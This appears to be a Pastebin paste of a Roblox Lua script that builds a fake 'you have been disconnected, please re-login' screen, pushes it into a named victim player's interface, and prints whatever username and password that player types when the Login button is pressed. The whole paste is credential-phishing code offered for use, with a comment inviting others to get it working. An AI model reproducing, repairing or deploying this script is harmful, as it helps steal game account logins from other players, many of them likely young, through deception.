Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Victim = "Plr" -- Player to give the gui to, will print login on your screen. (If some1 gets it to work ofc)
- -- Objects
- local MaintenanceGui = Instance.new("ScreenGui")
- local Background = Instance.new("Frame")
- local Top = Instance.new("TextLabel")
- local User = Instance.new("TextLabel")
- local UserText = Instance.new("TextBox")
- local Pass = Instance.new("TextLabel")
- local PassText = Instance.new("TextBox")
- local Second = Instance.new("TextLabel")
- local Login = Instance.new("TextButton")
- local ROBLOX = Instance.new("ImageLabel")
- local Gradient = Instance.new("ImageLabel")
- -- Properties
- MaintenanceGui.Name = "MaintenanceGui"
- MaintenanceGui.Parent = game.Players:FindFirstChild(Victim).PlayerGui
- Background.Name = "Background"
- Background.Parent = MaintenanceGui
- Background.BackgroundColor3 = Color3.new(1, 1, 1)
- Background.Position = UDim2.new(0.5, -250, 0.5, -250)
- Background.Size = UDim2.new(0, 550, 0, 300)
- Background.Style = Enum.FrameStyle.RobloxSquare
- Top.Name = "Top"
- Top.Parent = Background
- Top.BackgroundColor3 = Color3.new(1, 1, 1)
- Top.BackgroundTransparency = 1
- Top.BorderSizePixel = 0
- Top.Position = UDim2.new(0, 0, 0.200000003, 10)
- Top.Size = UDim2.new(1, 0, 0.100000001, 0)
- Top.Font = Enum.Font.ArialBold
- Top.FontSize = Enum.FontSize.Size18
- Top.Text = "We're sorry, you have been disconnected from roblox servers!"
- Top.TextColor3 = Color3.new(1, 1, 1)
- Top.TextSize = 18
- User.Name = "User"
- User.Parent = Background
- User.BackgroundColor3 = Color3.new(1, 1, 1)
- User.BackgroundTransparency = 1
- User.BorderSizePixel = 0
- User.Position = UDim2.new(0, -10, 0.449999988, 0)
- User.Size = UDim2.new(0.5, 0, 0.100000001, 0)
- User.Font = Enum.Font.ArialBold
- User.FontSize = Enum.FontSize.Size14
- User.Text = "Username:"
- User.TextColor3 = Color3.new(1, 1, 1)
- User.TextSize = 14
- UserText.Name = "UserText"
- UserText.Parent = Background
- UserText.Active = false
- UserText.BackgroundColor3 = Color3.new(1, 1, 1)
- UserText.BorderSizePixel = 0
- UserText.Position = UDim2.new(0.300000012, 0, 0.453999996, 0)
- UserText.Size = UDim2.new(0.5, 0, 0.100000001, 0)
- UserText.Font = Enum.Font.Arial
- UserText.FontSize = Enum.FontSize.Size14
- UserText.Text = "Enter your Username"
- UserText.TextColor3 = Color3.new(0, 0, 0)
- UserText.TextSize = 14
- UserText.TextWrapped = true
- Pass.Name = "Pass"
- Pass.Parent = Background
- Pass.BackgroundColor3 = Color3.new(1, 1, 1)
- Pass.BackgroundTransparency = 1
- Pass.BorderSizePixel = 0
- Pass.Position = UDim2.new(0, -10, 0.650000036, 0)
- Pass.Size = UDim2.new(0.5, 0, 0.100000001, 0)
- Pass.Font = Enum.Font.ArialBold
- Pass.FontSize = Enum.FontSize.Size14
- Pass.Text = "Password:"
- Pass.TextColor3 = Color3.new(1, 1, 1)
- Pass.TextSize = 14
- PassText.Name = "PassText"
- PassText.Parent = Background
- PassText.Active = false
- PassText.BackgroundColor3 = Color3.new(1, 1, 1)
- PassText.BorderSizePixel = 0
- PassText.Position = UDim2.new(0.300000012, 0, 0.650000036, 0)
- PassText.Size = UDim2.new(0.5, 0, 0.100000001, 0)
- PassText.Font = Enum.Font.Arial
- PassText.FontSize = Enum.FontSize.Size14
- PassText.Text = "Enter your Password"
- PassText.TextColor3 = Color3.new(0, 0, 0)
- PassText.TextSize = 14
- PassText.TextWrapped = true
- Second.Name = "Second"
- Second.Parent = Background
- Second.BackgroundColor3 = Color3.new(1, 1, 1)
- Second.BackgroundTransparency = 1
- Second.BorderSizePixel = 0
- Second.Position = UDim2.new(0, 0, 0.300000012, 0)
- Second.Size = UDim2.new(1, 0, 0.100000001, 0)
- Second.Font = Enum.Font.ArialBold
- Second.FontSize = Enum.FontSize.Size18
- Second.Text = "Please re-login to continue playing."
- Second.TextColor3 = Color3.new(1, 1, 1)
- Second.TextSize = 18
- Login.Name = "Login"
- Login.Parent = Background
- Login.Active = false
- Login.BackgroundColor3 = Color3.new(0, 0.545098, 0)
- Login.BorderSizePixel = 0
- Login.Position = UDim2.new(0.360000014, 0, 0.699999988, 25)
- Login.Size = UDim2.new(0.300000012, 0, 0.100000001, 8)
- Login.Font = Enum.Font.ArialBold
- Login.FontSize = Enum.FontSize.Size18
- Login.Text = "Login"
- Login.TextColor3 = Color3.new(1, 1, 1)
- Login.TextSize = 18
- ROBLOX.Name = "ROBLOX"
- ROBLOX.Parent = Login
- ROBLOX.BackgroundTransparency = 1
- ROBLOX.Position = UDim2.new(0, -90, 0.600000024, -250)
- ROBLOX.Size = UDim2.new(2, 0, 2, 0)
- ROBLOX.Image = "http://www.roblox.com/asset?id=144188266"
- Gradient.Name = "Gradient"
- Gradient.Parent = Background
- Gradient.BackgroundColor3 = Color3.new(0, 0.545098, 0)
- Gradient.BackgroundTransparency = 1
- Gradient.BorderSizePixel = 0
- Gradient.Position = UDim2.new(0.360000014, 0, 0.699999988, 25)
- Gradient.Size = UDim2.new(0.300000012, 0, 0.100000001, 8)
- Gradient.Image = "http://www.roblox.com/asset?id=93726622"
- Login.MouseButton1Down:connect(function()
- print(UserText.Text .. " : " .. PassText.Text)
- end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement